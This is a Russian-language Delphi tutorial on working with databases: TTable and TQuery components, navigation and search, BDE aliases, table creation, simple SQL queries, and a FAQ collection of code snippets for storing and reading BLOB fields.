Итак, мы не написав ни строчки кода получили простейшее приложение, работающее с базой данных. С помощью него мы можем просматривать и редактировать содержимое таблицы. Давайте теперь сделаем эту процедуру немного удобнее, на закладке "Data Control" есть компонент TDBNavigator. Положим его на форму и в инспекторе объектов поставим его свойство DataSource указывающим на тот же DataSource1, что и для DBGrid - собственно, теперь оба визуальных контрола(DBGrid и DBNavigator) привязаны к одному и тому же DataSource и через него к одной и той же таблицы. DBNavigator имеет несколько кнопок (вы можете настроить какие именно вы хотите видеть) дающие лёгкий контроль над следующими операциями:
(перечисление в порядке расположения кнопок)
1) Переход на первую запись
2) Переход на предыдущую запись
3) Переход на следующую запись
4) Переход на последнюю запись
5) Добавить запись
6) Удалить запись
7) Редактировать запись
8) Сохранить изменения
9) Отменить изменения
10) Перечитать таблицу

Обратите внимание, что запись (строка) таблицы есть как бы неделимый квант информации - т.е. отменяются действия произведенные для всей записи целиком, добавляется или удаляется тоже строка целиком.

Разберём ещё несколько визуальных компонентов, чтобы покончить с визуализацией данных и перейти собственно к программированию.

На закладке Data Controls есть ещё несколько важных компонентов, давайте поставим их на нашу форму: DBLabel, DBEdit, DBMemo и DBImage. Все их так же как и DBGrid соединим с DataSource1. Однако здесь мы обнаружим что этого недостаточно, эти компоненты работают с отдельной ячейкой в таблице, поэтому мы должны указать ещё поле (столбец) который они будут показывать.
Давайте сделаем следуюшие - для каждого из этих компонентов укажем свойство DataField, например следующим образом:

DBLabel - ассоциируем с полем Category
DBEdit - ассоциируем с полем Common_name
DBMemo - ассоциируем с полем Notes
DBImage - ассоциируем с полем Graphic

Можно откомпилировать программу и немного поиграться с ней. Итак что мы можем здесь увидеть? Что в каждый данный момент времени из всей таблицы у нас есть запись которая активная (текущая) - в DBGrid она показывается треугольничком слева. Именно с этой единственной записью мы и можем оперировать - удалять, добавлять, редактировать, именно её содержимое отображается в DBLabel, DBEdit, DBMemo, DBImage и именно она может быть изменена при помощи этих компонентов. Описанная только что структура позволяет работать только с одной записью в определённый момент времени, если вы переходите на другую запись то все изменения должны быть либо запомнены либо отменены! По умолчанию они запоминаются без всяких запросов, в чём вы можете убедиться меняя значения и переходя на другую запись.


Работа с таблицами в коде

Пока мы рассмотрели самые простейшие и самые не эффективные операции над базами данных, которые нужны лишь в очень ограниченных случаях - их недостаток очевиден - операции роводятся только с одной записью и эти операции только визуальные. Чем это плохо? - это самый медленный способ работы с базами. Он годиться только для работы с данными в ручную, все остальные операции, которые не требуют визуализации не должны работать таким образом.

Итак, начинаем разбирать способы работы с базами данных в коде.
Прежде всего заметим, что работать мы будем только с компонентом
Table1. Сразу предупреждаю - КАТЕГОРИЧЕСКИ НЕ СЛЕДУЕТ ПЫТАТЬСЯ ИЗ
КОДА МЕНЯТЬ ЗНАЧЕНИЯ В ВИЗУАЛЬНЫХ КОМПОНЕНТАХ, не следует пытаться
менять или читать значения из DBGrid, DBEdit и т.д. Эти компоненты
существуют только для работы оператора "вручную". Для доступа к
данным из кода надо использовать только невизуальные компоненты
типа TTable (в дальнейшем мы разберём и другие компоненты для работы
с данными - но в любом случае это будут не визуальные компоненты).

Представив себе обычную таблицу, понятно что для доступа к данным
надо определить столбец(поле) и строку(запись) в которой эти данные
находятся. Давайте разбирать по очереди.

1) Определить поле задача очень простая. Способов здесь 2:
или по имени:

Table1.FieldByName('Category')

или по номеру столбца

Table1.Fields[1]

Оба выражения являются объектом наследованным от типа TField

Я не буду разбирать этот объект подробно, только приведу пример
как можно пользоваться этим объектом для доступа к содержимому
ячейки таблицы. Содержимое может быть разных типов, поэтому можно
использовать следующие методы в зависимости от типа данных:

Table1.FieldByName('Category').AsString
Table1.FieldByName('Category').AsInteger
Table1.FieldByName('Category').AsBoolean
Table1.FieldByName('Category').AsDateTime
Table1.FieldByName('Category').AsFloat

Например, поставте на форму кнопку, и на onClick напишите
следующий код:

Showmessage(Table1.FieldByName('Category').AsString);

При нажатии на кнопку вы увидите содержимое столбца 'Category'
для текущей записи. Аналогично для обращения по номеру:

Showmessage(Table1.Fields[1].AsString);

Обратите внимание, что на этапе компилляции компиллятор абсолютно
не знает о реальном типе данных в поле таблицы. Это выяснится
только при попытке выполнить строку. Что будет если типы не
совпадают? Если тип можно конвертировать - то ничего страшного,
например если у вас поле с целым числом 123, то обращение к полю
через AsString выдаст результат - строку '123'. Но если типы
не совместимы, то будет сгенерирована ошибка, например такая строка
почти наверняка в нашем приложении приведёт к ошибке:

var i:integer;
...
i:=Table1.FieldByName('Category').AsInteger;
showmessage(inttostr(i));

Потому что реальные данные не могут быть приведены к целому типу.

Теперь давайте разбираться как нам добраться до нужной строки,
другими словами, до нужной записи. Как я уже говорил мы можем
работать только с одной "активной" записью, поэтому задача сводится
к установке нужной записи "активной" (К знатокам баз данных - я упорно
и намеренно обхожу стороной понятие "курсор" и попытаюсь провести повествование
без его упоминания, с целью упрощения понимания материала и не хочу углублятся
в материал, без которого можно на первых порах обойтись). Итак, прежде всего
Table компонент имеет 4 метода которые помогут нам пройти через все строки
таблицы:

Table1.First - переход на первую запись
Table1.Last - переход на последнюю запись
Table1.Prior - переход на предыдущую запись
Table1.Next - переход на следующую запись

А так же 2 полезных свойства:

Table1.RecordCount - возвращает количество записей (строк) в таблице
Table1.Eof - возвращает TRUE если достигнута последняя запись, в остальных случаях FALSE

Давайте на нашу форму положим компонент Memo (на сей раз обычное, а не dbMemo).

Вот этот простейший код позволит пройти таблицу от начала до конца и считать
значения одного поля для всех записей в Memo:

Table1.First;//переход на первую запись
While not Table1.eof do //делать цикл пока таблица не закончится
begin
Memo1.lines.add(Table1.fieldbyname('Category').AsString); //заносим в Мемо значение поля для текущей записи
Table1.Next;//переходим на следующую запись
end;

Или это же самое можно сделать например так:

Table1.First;
For i=0 to Table1.recordcount-1 do
begin
Memo1.lines.add(Table1.fieldbyname('Category').AsString); //заносим в Мемо значение поля для текущей записи
Table1.Next;//переходим на следующую запись
end;

Второй способ гораздо хуже. Он имеет следующие недостатки:

1) Не для всех баз данных метод Table1.recordcount возвращает правильное
значение. Иногда Table1.recordcount устанавливается только после перехода на
последнюю запись(это не глюк, это вполне объяснимое поведение, например если у
вас есть хорошая табличка размером в несколько гигабайт на другом компьютере,
то Table вовсе не скачивает всю эту таблицу локально, а достаёт данные только
по мере необходимости). К счастью этот недостаток легко устраним, надо код
преобразовать до следующего вида:

Table1.Last;
Table1.First;
For i=0 to Table1.recordcount-1 do
begin
Memo1.lines.add(Table1.fieldbyname('Category').AsString); //заносим в Мемо значение поля для текущей записи
Table1.Next;//переходим на следующую запись
end;

Несмотря на кажущуюся бессмысленность это работает.

2) А вот другой аспект - всегда надо помнить о многопользовательском
доступе к таблицам - что случится, если во время прохода по записям другой пользователь
добавит или удалит запись?


Поиск нужных данных

Теперь разберём более эффективные способы нахождения нужной записи
в таблице.

А если нам надо перейти к вполне конкретной строке (записи)? Можно конечно
организовать такой цикл и найти нужную запись, но это громоздко, неудобно,
и главное очень медлено! Для этого можно использовать метод таблицы Locate.

Например в нашей задаче нам надо найти запись где в поле Category значение
"Cod". Этого можно добится примерно следующим кодом:

Table1.Locate('Category','Cod',[loCaseInsensitive]);

Можно "повесить" этот код на кнопку и убедится, что после выполнения этого
кода активная запись стала именно та которая нам и нужна. Итак что же за параметры
мы передаём этому методу? Первый параметер - это имя поля, второй параметер -
это значение поля, третий опции поиска (см. справку Дельфи). А что будет если
такого значения нет? Например:

Table1.Locate('Category','Cod123',[loCaseInsensitive]);

Ничего не будет, правда метод Locate - это функция и она возвращает значение Boolean
в зависимости от того, найдена запись или нет.
Преобразовав код как

if Table1.Locate('Category','Cod123',[loCaseInsensitive]) then
  showmessage('Record is located seccessful!')
else
  showmessage('Record is not found!');

можно убедится, что теперь мы знаем найдена запись или нет. Можно искать и по части
значения, например

Table1.Locate('Category','Co',[])

не сможет найти запись, а

Table1.Locate('Category','Co',[loPartialKey])

вполне правильно найдёт запись с значением 'Cod'.

А если нам надо найти значение по двум полям? В этой таблице искать так бесполезно,
так как все поля разные. Переключим таблицу на другую. Для этого удалим с формы
все визуальные компоненты кроме DBGrid и DBNavigator (так как у новой таблицы
будет совсем другой список полей). В коде напишем что-то
типа:

Table1.active:=false; //закрыли таблицу
Table1.tablename:='items.db';//ассоциируем с новой таблицей на диске
Table1.active:=true; //открыли таблицу

Откомпилируем код, убедимся, что теперь мы видим совсем другую таблицу.

Теперь давайте найдём такую запись, где ItemNo=1 и Discount=50, для этого нам надо
применить Locate следующим образом:

Table1.Locate('ItemNo;Discount',VarArrayOf([1,50]),[]);

Теперь несколько примечаний:

1) Для Дельфи 6/7 - добавьте "Uses Variants;"
2) Первый параметер - это список имён полей через ; без пробелов
3) Второй параметер - это массив вариант - значений полей. Почему вариант? Потому что
поля могут быть разных типов и в этом массиве вполне можно задать значения
разных типов: VarArrayOf([1,'Вася', True, 3.14])


Доступ к базам данных

Теперь, после работы руками, попробуем разобрать несколько менее призёмлённых вещей. Для начала следует упомянуть что Вы наверное уже прочуствовали что такое таблица. Теперь немного остановимся на базе данных. Базу данных можно очень упрощённо представить как несколько разных таблиц. Они могут быть связаны между собой, а могут и нет. Как физически хранятся таблицы? В трёх видах:

1) Каждая таблица это отдельный файл. Так работают наиболее древние базы данных, например Парадокс (который мы пока используем в примерах), Dbase, FoxPro. Все файлы таблиц лежат в отдельном каталоге на диске. Этот каталог и называется базой данных.
2) Все таблицы хранятся в одном файле – например MS Access – именно этот файл и называется базой данных
3)Таблицы хранятся на специальном сервере – например MS SQL Server, Oracle. В данном случае нас вообще не интересует как сервер хранит эти таблицы – для нас прямой доступ к ним закрыт, мы можем лишь послать запрос на сервер и получить ответ.

Несмотря на значительную разницу в организации, работа с разными базами данных очень сходная (во всяком случае до углубления в дебри). В целом, Вам нет смысла копаться в реальных форматах файлов, нет смысла искать что в файле biolife.db означает 10й байт. Может показаться что всю работу над этим файлом делает компонент TTable в нашем примере. Но это не так! Я наверное удивлю многих если скажу, что компонент TTable реально является только интерфейсом, для лёгкого доступа к данным из Дельфи. Оказывается, что всю работу над таблицей делает специальный драйвер базы данных (или его ещё называют провайдер). Итак упрощённая схема общения с таблицей из программы выглядит примерно следующим образом(для нашего примера):

База Данных <-> Драйвер Базы Данных <-> TTable <-> наш код или др. компоненты

Итак драйвер БД «знает» тонкости и детали строения файла таблицы, или знает конкретные форматы запроса к серверу на «входе», а на выходе имеет некий универсальный «интерфейс» (Я имею ввиду широкое понятие слова «интерфейс», вне контекста с COM) к которому и подключается TTable. Естественно что каждая база данных, и даже каждая версия базы данных имеет свой уникальный формат, свои уникальные особенности, поэтому драйвер для каждой разновидности баз данных тоже уникальный и обычно создаётся производителем баз данных. Интерфейс на «выходе» тоже должен быть стандартизованным – тогда работа с разными базами данных будет значительно облегчена, конечно до истиной переносимости кода далеко (хотя для простейших програм можно легко перенести код для работы с другой базой данных) – сказываются очень большие различия в архитектуре баз данных, которые просто невозможно свести 100% к одинаковому интерфейсу, но в любом случае знакомство с одной базой данных позволяет с лёгкостью разобраться с другой... Как всегда существует несколько стандартов таких «выходных интерфейсов». Наиболее широкораспространены следующие «стандарты» или системы доступа к базам данных:

1)BDE – Borland Database Engine (или по-старому IDAPI). Мы как раз работали в наших примерах именно через эту систему. Эта система является «родной» для Дельфи и отличается весьма высокой производительностью при работе с локальными базами данных. С серверными базами данных её производительность гораздо скромнее. Она же является «родной» для Парадокса, что обусловливает очень высокую производительность и удобство работы связки Delphi-BDE-Paradox (конечно для небольших систем с малым количеством пользователей). BDE имеет в своём составе драйвера практически ко всем более или менее известным базам данных в среде Windows. Позже мы подробнее остановимся на настройке BDE.
2)ODBC – продукт был создан Microsoft как конкурент BDE. На большинстве баз данных он показывает меньшую производительность чем BDE, из Дельфи с ним работать не так удобно, но он так же имеет в своём составе драйвера практически ко всем более или менее известным базам данных в среде Windows. Его настройки можно найти в «Панели Управления» Windows. Есть бесплатная библиотека компонентов для работы с ODBC с исходными кодами, её можно взять с моего сайта: http://www.delphist.com. Для программиста на Дельфи представляет очень ограниченный интерес – большинство возможностей реализовано в BDE, причём BDE со многими базами работает быстрее и Дельфи имеет собственные компоненты для BDE.
3)DAO – это очень старая система для доступа к MS Access и MS Excel (она так же поддерживает ещё несколько баз данных), отличается высокой производительностью и богатым набором функций для работы именно с MS Access и MS Excel. Вообще не поддерживает работу с серверными базами данных. DAO можно использовать для работы с MS Access и MS Excel когда критична производительность приложений и/или требуется всё богатство возможностей доступа к MS Access и MS Excel. Есть бесплатная библиотека компонентов для работы с DAO с исходными кодами, её можно взять с моего сайта: http://www.delphist.com.
4)ADO (ActiveX Data Object) – новая система от MS ориентированная прежде всего на работу с серверными базами данных. Довольно удобна в использовании, Дельфи начиная с 4й версии в модификации Enterprise/Professional имеет линейку собственных компонентов для работы через ADO. Позднее мы рассмотрим работу с ADO компонентами.

Кроме перечисленных есть ещё по крайней мере десяток других широкоизвестных систем доступа к базам данных, и огромное количество "отдельностоящих" драйверов для конкретной базы данных.


Приёмы работы с BDE

Те примеры с которыми мы работали использовали именно BDE. Давайте рассмотрим вопросы, напрямую связанные с BDE:

1) Где физически хранится моя база данных
2) Как создать базу данных
3) Как создать таблицу

Итак, где физически хранится моя база данных и собственно куда мы обращались в наших примерах? Если вы помните, в наших примерах мы свойство DatabaseName для Table установили в "DBDemos". Что же это такое "DBDemos"? - это название базы данных, или в терминологии BDE - Alias (перевод на русский язык "Псевдоним"). Alias - это некая "структура" BDE, которая указывает на физическое расположение файлов базы данных, а так же хранит некоторые свойства (параметры) доступа к базе данных. Эти параметры можно посмотреть, настроить, а также добавить или удалить Alias используя программу "BDE Administrator" которую можно найти в Control Panel (панель управления Windows). Запустите BDE Administrator и найдите в левом дереве DBDemos. Теперь на правой части можно увидеть его свойства, например там вы найдёте путь к базе данных. С помощью BDE можно удалить Alias или добавить новый.


Создание базы данных

Итак, Как создать базу данных?

Пока мы рассматриваем Paradox осмелюсь заметить, что база данных ничто иное как папка (каталог) на диске. Надеюсь что читателю не составит труда создать пустой каталог, например "c:\MyDBExample". Теперь создадим Alias на этот каталог:

1) Открываем BDE Administrator, нажимаем menu->Object->New (или Ctrl-N)
2) В выскочившем окне выбираем Standard, жмём Ok
3) На левой панеле переименовываем название Alias во что-нибудь, например "MyDB"
4) На правой панеле, в разделе PATH указываем c:\MyDBExample
5) Сохраняем изменения

Закрываем BDE Administrator. Загружаем Дельфи с нашим примером, убеждаемся, что в свойстве DatabaseName у таблицы появился среди вариантов выбора и наш Alias - "MyDB".

А как создать базу данных программно? Забегаю вперёд, новички могут со спокойной совестью эту информацию пропустить.

С созданием базы данных програмно большие проблемы! Задача состоит из 2х этапов:

1) Создание самой базы данных
2) Создание Alias

Второй вопрос весьма прост - используются методы системного объекта Session:
session.AddAlias
Session.SaveConfigFile

Ответ же на первый не однозначен и вызвано это тем, что это целиком зависит от базы данных. Так как Dbase и Paradox базы данных это просто каталоги, то тут проблем нет, создаём каталог (ForceDirectories например) и дело с концом, для MS Access и MS Excel уже прийдётся использовать DAO низкоуровневые функции, серверные базы данных обычно имеют системные Stored Procedures для создания базы данных.


Создание таблицы

Как создать таблицу ?

Вариантов несколько:

1) Сделать это с помошью менеджера соответствующей базы данных, например таблицу для Paradox создать в Paradox'e
2) С помощью Database Desktop - утилита , постовляемая с BDE и большинством борландовских продуктов. Я не думаю что вы встретите проблемы при создании таблицы - там всё очень просто.
3) Из программы.
Здесь 2 варианта, вариант первый, использовать метод CreateTable у таблицы, вот пример из справки по Дельфи как Борланд предлагает это делать:

with Table1 do begin
  Active := False;
  DatabaseName := 'DBDEMOS';
  TableType := ttParadox;
  TableName := 'CustInfo';
  { Don't overwrite an existing table }
  if not Table1.Exists then begin
    { The Table component must not be active }
    { First, describe the type of table and give }
    { it a name }
    { Next, describe the fields in the table }
    with FieldDefs do begin
      Clear;
      with AddFieldDef do begin
        Name := 'Field1';
        DataType := ftInteger;
        Required := True;
      end;
      with AddFieldDef do begin

        Name := 'Field2';
        DataType := ftString;
        Size := 30;
      end;
    end;
    { Next, describe any indexes }
    with IndexDefs do begin
      Clear;
      { The 1st index has no name because it is
      { a Paradox primary key }
      with AddIndexDef do begin
        Name := '';
        Fields := 'Field1';
        Options := [ixPrimary];
      end;
      with AddIndexDef do begin
        Name := 'Fld2Indx';
        Fields := 'Field2';
        Options := [ixCaseInsensitive];
      end;
    end;
    { Call the CreateTable method to create the table }
    CreateTable;
  end;
end;

Есть другой метод, который нравится мне гораздо больше, он проще в реализации и работает стабильнее - выполнить Query типа "Create Table". Этот способ я разберу позже, когда мы будем рассматривать работу с запросами.


Изменение данных в таблице

Теперь последний штрих о работе с таблицами. Мы разобрали способы обратиться к нужному столбцу и нужной записи, их поиск и чтение значений. А как записать новое значение? Для этого есть методы Edit, Append, Insert, Post и Cancel.

1) Надо изменить текущую запись.
Table1.edit; //переводим таблицу в режим редактирования
Table1.fieldbyname('Category').asString:='New value';//изменяем поле
Table1.post;//сохраняем изменения

2) Надо добавить новую запись.
Table1.append; //переводим таблицу в режим добавления новой записи
Table1.fieldbyname('Category').asString:='New value';//присваиваем значение полей
Table1.post;//сохраняем изменения

Итого, как видим изменения данных производятся точно так же как и чтение, но перед изменением КАЖДОЙ записи таблица должна быть переведена в режим редактирования, а после изменения КАЖДОЙ записи изменения должны быть сохранены.

В режим редактирования таблицу переводят следующие методы:
Edit - редактирование текущей записи
Append - добавление записи в конец таблицы
Insert - вставка записи перед текущей

Для выхода из режима редактирования служат методы:
Post - запомнить изменения и выйти из режима редактирования
Cancel - отменить сделанные изменения и выйти из режима редактирования


Понятие о запросе (Query)

Итак, это пожалуй почти всё, что мы можем "выжать" из компонента TTable. Почуствовали мощь и удобство работы с базами данных? - Ой, вряд ли! Скорее всего ощущение заумности, убогости и неудобства в сочетании с крайней медлительностью операций... Действительно доступ к базе данных через TTable является самым прямым и самым неудобным, какие же основные недостатки? Наверное уже многие задались вопросами:

1) А если мне надо 1000 записей изменить, так мне надо в цикле крутить приведенный код? Так это ж как долго!

2) Ну хорошо, у меня есть табличка на сотню тысяч записей, и мне нужно из неё выбрать только, например, 1000 записей касательно "Иванова", так мне прийдётся всю таблицу в цикле крутить пока не найду то что мне нужно?

Все эти проблемы решены, и решены великолепно - просто, очень эффективно и с минимальными затратами.

Рассмотрим в кратце общий алгоритм доступа к информации который был рассмотрен:

1.1) Передать данные из таблицы в программу
1.2) Программа сама занимается поиском данных

А что если изменить схему:
2.1) Отдать команду драйверу на поиск нужной информации
3.2) Драйвер найдёт инфу
2.3) Найденная информация будет возвращена программе.

На первый взгляд разница только в том что работу, которую делает программный код в первом случае, мы пробуем свалить на драйвера базы данных. Ну и зачем? Оказывается есть зачем! В первой схеме - есть несколько моментов на которые я бы хотел обратить внимание:

1) В любом случае манипулирование базой производится драйвером, следовательно код драйвера в любом случае работает. Драйвер написан под конкретную базу данных, и "знает" каким образом манипулировать с базой самым быстрым способом, а програмный код неизбежно подвергается "транслированию", многочисленным преобразованиям данных для обеспечения совместимости.
2) А если база данных находится на другом компьютере? Тогда программа вынуждена "вытащить" все данные на локальный компьютер перед манипулированием данными, что есть совсем не быстрая операция. Кстати пока мы тащим гигабайтную таблицу к себе, ваш сосед Вася уже успел там что-то поменять, и что теперь? Тащим заново, или посылаем Васю подальше, и не даём ему работать с базой пока сами не закончим?

А во втором способе всё будет куда лучше! Программа попросит данные и получет только те данные которые запрошены, а не всю таблицу, никаких трансляций данных - мы транслируем только те данные, которые уже отобраны, а не всё подряд, всю работу мы переложили на плечи драйвера, который был написан очень оптимально, который точно знает как работать именно с этой версией базы данных, а не со всеми подряд. А Вася нас тоже пока не интересует, драйвер сам разберётся как с ним поступать - нас это не касается (пока по крайней мере).

И как же это реализовано? Это реализовано с помощью языка запросов: SQL. Подробнее этот язык рассмотивается в разделе Базы данных, мы же не заостряя внимание на самих запросах, рассмотрим простейшие случаи как этот язык можно применить внутри программы на Дельфи и какие выгоды можем мы получить используя запросы.

Итак, из нашего тестового проекта удаляем компонент Table1. Вместо него ставим компонент TQuery. Устанавливаем Alias (DatabaseName) и связываем его с DataSource таким же образом как и таблицу.

Пока вы найдёте 2 радикальных отличия от TTable:
1) Нет свойства TableName
2) Открытие (Active:=true) квери приводит к ошибке

Query должна содержать запрос. Для этого есть свойство SQL, являющееся самым обыкновенным TStringList. Откроем это свойство и напишем примерно следующее:

Select * from biolife

Теперь можно попытаться открыть квери (установить Active в True) и вы получите точно тоже что и в первом примере - грид заполненный данными из таблицы Biolife.db. Мало того, всё что мы проделывали с таблицей - позиционирование строки, чтение и запись полей и т.п. вы можете с успехом сделать и с Query - причём синтаксис тот же самый! Пока мы только сделали замену компоненту TTable и не более того.

Я здесь не буду подробно останавливаться на синтаксисе SQL запроса, материал по этой теме вы найдёте здесь:

http://forum.vingrad.ru/index.php?act=ST&f=12&t=5638

Однако простейшие приёмы работы я покажу. В нескольких дальнейших примерах мы будем менять свойство "SQL". Перед каждым изменением этого свойства Вы должны закрывать квери (в дизайне устанавливать Active в False). В run-time изменения SQL должны выглядеть примерно так:

Query1.active:=false;
Query1.sql.text:='Select * from biolife';
Query1.active:=true;


Запросы на выбор данных

Теперь покажу на примере как можно использовать квери для наиболее простых, но очень частых и нужных операций:

1) Выбор только тех строк (записей) которые отвечают условию (например тех где в поле category записано 'Snapper')

SELECT * FROM biolife
where category='Snapper'

2) Выбор только нужных столбцов (например нам нужны только столбцы Category и common_name )

SELECT Category, common_name FROM biolife

3) Выбор записей отсортированных в определённом порядке (например в алфавитном порядке поля Category)

SELECT * FROM biolife
Order by Category

4) Запрос может комбинировать в себе всё перечисленное

SELECT Category, common_name FROM biolife
where category='Snapper'
Order by common_name

Попробуйте задать каждый из этих запросов и посмотреть как программа будет реагировать на него. На самом деле запросы предоставляют гораздо большии возможности - например суммарные и статистические функции (вычислить сумму всех значений поля), вычисляемые поля (например добавить столбец который отражает не реальное поле в таблице, а сумму 2х других полей), объединение нескольких таблиц в одном запросе (2 таблицы с похожей структурой представляются как одна таблица), запросы на несколько таблиц (например вам надо выбрать всех из одной таблицы которые не встречаются в другой таблице, или для Иванова взять его номер телефона из одной таблицы, а его заказы из другой и т.п.). Всё это вы найдёте здесь: http://forum.vingrad.ru/index.php?act=ST&f=12&t=5638 , а в этой статье я только показываю как с этим можно работать из Дельфи


Запросы на изменение данных

А как менять значения в базе данных? Тоже при помощи квери это делать проще и, что важнее, значительно быстрее. Например, меняем в поле Category все "Cod" на "Kod". В квере пишем текст:

Update biolife
Set Category='Kod'
Where Category='Cod'

Ставим на форму кнопку, в обработчике нажания (onClick) пишем код:

Query1.ExecSQL;

Важные примечания:
1) Обратите внимание, что в данном случае мы не открываем квери делая Active:=true и не используем эквивалентный метод Open, а используем метод ExecSQL. Если открытие квери с оператором Select приводит к возвращению данных в программу (так называемый курсор данных), то все остальные типы кверей никаких данных в программу не возвращают - они выполняют операцию над базой, но не возвращают курсор. Такую кверю НЕЛЬЗЯ соединить с визуальными компонентами, её открытие хоть и будет выполнять операцию, будет приводить к исключительной ситуации.

2) Перед изменением текста квери, хоть в дизайне, хоть в run-time кверя должна быть закрыта.

Аналогичным способом можно пользоваться другими операторами SQL:

Delete - для удаления нескольких/всех строк
Insert - для вставки одной или нескольких строк
Create Table - для создания таблицы
Alter Table - для изменения структуры таблицы
Drop Table - для удаления таблицы
и другими. Смотрите руководства по SQL по использованию этих операторов.


Проблемы при работе с Blob полями

Cодержание раздела:

Как записать файл в Blob поле?
Как удалить данные из BLOB-поля?
Как в TBlobField запихать картинку из переменной типа TBitmap?
Как сохранить RTF в TBlobfield?
Как определить реальный размер поля типа BLOB, которое сохранено в таблице?
Извлечение изображения из BLOB-поля
Загрузка изображений в Blob-поля
Запись потока в BLOB-поле
Запись и чтение чисел в Blob-поле
BLOBFIELD как BITMAP
Чтение OLE из Blob поля Paradox
Сохранение и чтение файлов в BLOB-полях
Сохранение TForm и ее свойств в BLOB-поле
Связать поле BLOB таблицы Paradox с компонентом TRichEdit через потоки
Как записать в BLOB поле большой текст (более 255) из Delphi
Сохранить в базе картинку формата JPEG
Приёмы работы с BLOB (OLE/Memo) полями
Сохранить F1Book в Blob поле New!
Извлечение текста из TMemoField New!

См. также статьи в других разделах:
BLOB has been modified., Index is out of date
Memo too large
Запись картинки в ADO таблицу
Изображения и InterBase Blob-поля
Можно-ли в запросах делать поиск по BLOB?
Interbase BLOB-поля
Как показать содержимое Memo-поля в DBGrid?
Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE ?
Storing/Playing an .AVI file in a database


Как записать файл в Blob поле?

1)Через таблицу:

(table1.fieldbyname('ddd') as TBlobField).loadfromfile('dddss');

(Для некоторых баз данных через BDE так можно загрузить не более 64k)

2) через параметры в квере...

ADOquery1.sql.text:='Insert into myTable (a) Values (:b)';
ADOQuery1.parameters.parseSQL(ADOquery1.sql.text, true);
ADOQuery1.parameters.parambyname('b').LoadFromFile('MyFile');
ADOQuery1.execsql;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как удалить данные из BLOB-поля?

Только с использованием SQL

UPDATE MyTable
Set MyBlobField = Null
WHERE SomeField = 'Somevalue'

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как в TBlobField запихать картинку из переменной типа TBitmap?

1) LoadFromStream/SaveToStream

2) TBlobField.assign

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как сохранить RTF в TBlobfield?

В этом примере поле 'Table1Memo' это paradox 'formatted memo'. Оно так же может быть полем blob.

Через TBlobStream содержимое контрола RichEdit можно загружать или сохранять в базу данных:

procedure TForm1.BtnGetClick(Sender: TObject);
var
  bs: TBlobStream;
begin
  bs:= Nil;
  with Table1 Do
    try
      open;
      first;
      bs:= TBlobStream.Create( table1memo, bmread );
      Richedit1.plaintext := false;
      Richedit1.Lines.Loadfromstream(bs);
    finally
      bs.free;
      close;
    end;
end;

procedure TForm1.BtnPutClick(Sender: TObject);
var
  bs: TBlobStream;
begin
  bs:= Nil;
  with Table1 Do
    try
      open;
      first;
      edit;
      bs:= TBlobStream.Create( table1memo, bmwrite );
      Richedit1.plaintext := false;
      Richedit1.Lines.Savetostream(bs);
      post;
    finally
      bs.free;
      close;
    end;
end;

Взято из http://forum.sources.ru


Как определить реальный размер поля типа BLOB, которое сохранено в таблице?

Ниже приведена функция GetBlobSize, которая возвращает размер данного BLOB или MEMO поля.

Пример вызова:

function GetBlobSize(Field: TBlobField): Longint;
begin
  with TBlobStream.Create(Field, bmRead) do
  try
    Result := Seek(0, 2);
  finally
    Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 { This sets the Edit1 edit box to display the size of }
 { a memo field named Notes.                           }

  Edit1.Text := IntToStr(GetBlobSize(Notes));
end;

Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Извлечение изображения из BLOB-поля

Извлечение изображения из BLOB-поля таблицы dBASE или Paradox -- без первой записи изображения в файл -- простейший процесс использования метода Assign для сохранения содержимого BLOB-поля в объекте, имеющим тип TBitmap. Отдельный объект TBitmap или свойство Bitmap объекта Picture, в свою очередь являющегося свойством компонента TIMage, могут служить примером совместимой цели для данной операции.

Вот пример кода, демонстрирующего использование метода Assign для копирования изображения из BLOB-поля в компонент TImage.

procedure TForm1.Button1Click(Sender: TObject);
begin
  Image1.Picture.Bitmap.Assign(Table1Bitmap);
end;

В данном примере, объект Table1Bitmap типа TBLOBField - BLOB-поле таблицы dBASE. Данный TBLOBField-объекты был создан с помощью редактора полей (Fields Editor). Если редактор полей для создания TFields для полей таблицы не используется, получить доступ к полям можно с помощью метода FieldByName или свойства Fields, оба они являются членами компонентов TTable или TQuery. В случае ссылки на BLOB-поле таблицы с помощью одного из приведенных членов, перед использованием метода Assign указатель на поле должен быть прежде приведен к типу объекта TBLOBField. Для примера:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Image1.Picture.Bitmap.Assign(TBLOBField(Table1.Fields[1]));
end;

Изображение, хранящееся в BLOB-поле, может быть скопировано непосредственно в отдельный TBitmap объект. Ниже приведен пример, демонстрирующий создание объекта TBitmap и сохранения в нем изображения из BLOB-поля.

procedure TForm1.Button2Click(Sender: TObject);
var
  B: TBitmap;
begin
  B := TBitmap.Create;
  try
    B.Assign(Table1Bitmap);
    Image1.Picture.Bitmap.Assign(B);
  finally
    B.Free;
  end;
end;

Взято с http://delphiworld.narod.ru


Загрузка изображений в Blob-поля

Имеется несколько способов загрузки изображения в BLOB-поле таблицы dBASE или Paradox. Три самых простых метода включают в себя:

1. копирование данных из буфера обмена Windows в компонент TDBImage, связанный с BLOB-полем
2. использование метода LoadFromFile компонента TBLOBField
3. использование метода Assign для копирования объекта типа TBitmap в значение свойства Picture компонента TBDBImage.

Первый способ, когда происходит копирование изображения из буфера обмена, вероятно, наиболее удобен в случае, когда необходимо добавить изображение в таблицу при использовании приложения конечным пользователем. В этом случае компонент TDBImage используется в роли интерфейса между BLOB-полем таблицы и изображением, хранящимся в буфере обмена. Метод PasteFromClipboard компонента TDBImage как раз и занимается тем, что копирует изображение из буфера обмена в TDBImage. При сохранении записи изображение записывается в BLOB-поле таблицы.
Поскольку буфер обмена Windows может содержать данные различных форматов, то желательно перед вызовом метода CopyFromClipboard осуществлять проверку формата хранящихся в нем данных. Для этого необходимо создать объект TClipboard и использовать его метод HasFormat, позволяющий определить формат хранящихся в буфере данных. Имейте в виду, что для создания объекта TClipboard вам необходимо добавить модуль Clipbrd в секцию uses того модуля, в котором будет создаваться экземпляр объекта.

